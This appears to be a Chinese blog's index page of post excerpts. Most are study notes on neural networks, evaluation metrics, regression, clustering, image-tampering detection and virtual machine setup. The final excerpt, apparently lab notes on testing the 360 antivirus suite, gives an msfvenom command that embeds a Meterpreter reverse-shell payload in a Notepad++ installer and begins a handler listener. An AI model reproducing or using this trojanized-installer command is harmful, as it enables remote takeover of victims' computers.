4.3k字10 分钟

# 神经网络基本原理 解决的问题：特征提取（哪些特征比较合适） 应用：检测、识别 # 前向传播 前向传播：得出损失值 （其中 xxx 为输入数据，WWW 为权重参数，LLL 为损失值) # 得分函数 线性函数：从输入 -> 输出的映射 其结果表示输入数据对于每个分类的得分。 数学表示： f(x,W)=Wx (+b)f(x, W)=Wx\ (+b)f(x,W)=Wx (+b) 其中 xxx 为图像，WWW 为权重参数，bbb 为偏置参数。 通常 WWW 对结果起决定作用，bbb 对结果起微调作用； 假设图片为 [32×32×3][32\times32\
850字2 分钟

# 多层感知器 （MLP, Multi Layer Perceptron） 模仿人的思考机制 => （网状结构） 树突接受 多个 神经元的轴突释放的递质，产生信息并将信息转递给轴突，并由轴突再次向后续神经元释放递质，实现信息传递。 从 多个 上一层的模型中获得输入数据，通过某个 f(x)f(x)f(x) 得到输出数据，并作为下一层模型的数据输入。 MLP 数学表达式（简化）： a12=g(θ101x0+θ111x1+θ121x2+θ131x3)a_{1}^{2} =g(\theta_{10}^{1}x_{0}+\theta_{11}^{1}x_{1}
1.3k字2 分钟

# 混淆矩阵 使用准确率进行模型评估的局限性： （以预测 0/1 数据为例，不用模型，直接预测结果全是 1 的准确率也可能很高） 没有体现数据预测的实际分布情况 没有体现模型错误预测的类型。 混淆矩阵：又称误差矩阵，用于衡量分类算法的准确程度 True Positives (TP)：预测准确、实际为正样本的数量 True Negatives (TN)：预测准确、实际为负样本的数量 False Positives (FP)：预测错误、实际为正样本的数量 False Negatives (FN)：预测错误、实际为负样本的数量 更丰富的模型评估指标 指标 公式 定
2.7k字7 分钟

最近总是要反复建虚拟机，共享文件夹又方便了主机和虚拟机之间的文件传输，所以写下这篇文章，记录一下配置过程。

1.4k字4 分钟

# 线性回归 # 逻辑回归 （用于解决分类问题） 要点： ①寻找决策边界的格式 ②损失函数最小化情况下，求解决策边界的系数 分类问题 逻辑回归的简单解释： sigmoid 函数（一种概率分布函数）S(x)=11+e−xS\left(x\right)=\frac{1}{1+e^{-x}}S(x)=1+e−x1​ ，图像如下： 其中 S(x) > 0.5 的视为 1， S(x) < 0.5 的视为 0，即可对所有的 x 进行分类。 概率分布函数 P(x)=11+e−g(x)P(x)=\frac{1}{1+e^{-g(x
3.9k字9 分钟

作业 (o′┏▽┓｀o) # 图像篡改的类型 实践中，图像篡改至少有以下几种类型： 图像内容的修改（Tampering），比如通过 PS 实现换脸或者修改合同文字。其中大部分都可以归类到截取、复制、删除。 能够间接表达第一类篡改嫌疑的操作（Manipulation）。比如为了遮掩第一类篡改痕迹而做的中值滤波、高斯模糊、高斯噪音以及再次保存图像而产生的二次 JPEG 压缩。 一般而言，图像篡改的最终目的是识别第一类篡改，但是难度很大，需要很深厚的司法、摄影和图像专业知识，比如在传统的图像篡改识别领域，需要使用噪声一致性、几何一致性、光照一致性等方式来进行判断。在实际操作时，需要遍
1.4k字4 分钟

# 无监督学习 不给定带标记的训练示例，自动对输入的数据进行分类或分群。 优点： 算法不受监督信息（偏见）的约束，可能考虑到新的信息 不需要标签数据，极大程度扩大数据样本 主要应用：聚类分析、关联规则、维度缩减 # 聚类分析 又称为群分析， 根据对象的某些属性的相似度，将其自动划分为不同的类别。 （分类问题） # K-means K 均值聚类算法：以空间中 k 个点为中心进行聚类，最靠近它们的对象归为一类。 核心步骤： 设 kkk 个点为 x1,x2,…,xkx_1,x_2,\dots,x_kx1​,x2​,…,xk​，mmm 个区域簇为 u1,u2,…,umu_1,u_2,\dots,u
2k字5 分钟

测试杀软：360 全家桶 # MSF msfconsole mp_npp:（2022/4/16） msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.158.139 LPORT=4444 -x npp.8.1.4.Installer.exe -f exe > mp_npp.exe 监听： use exploit/multi/handler set payload windows/meterpreter/rev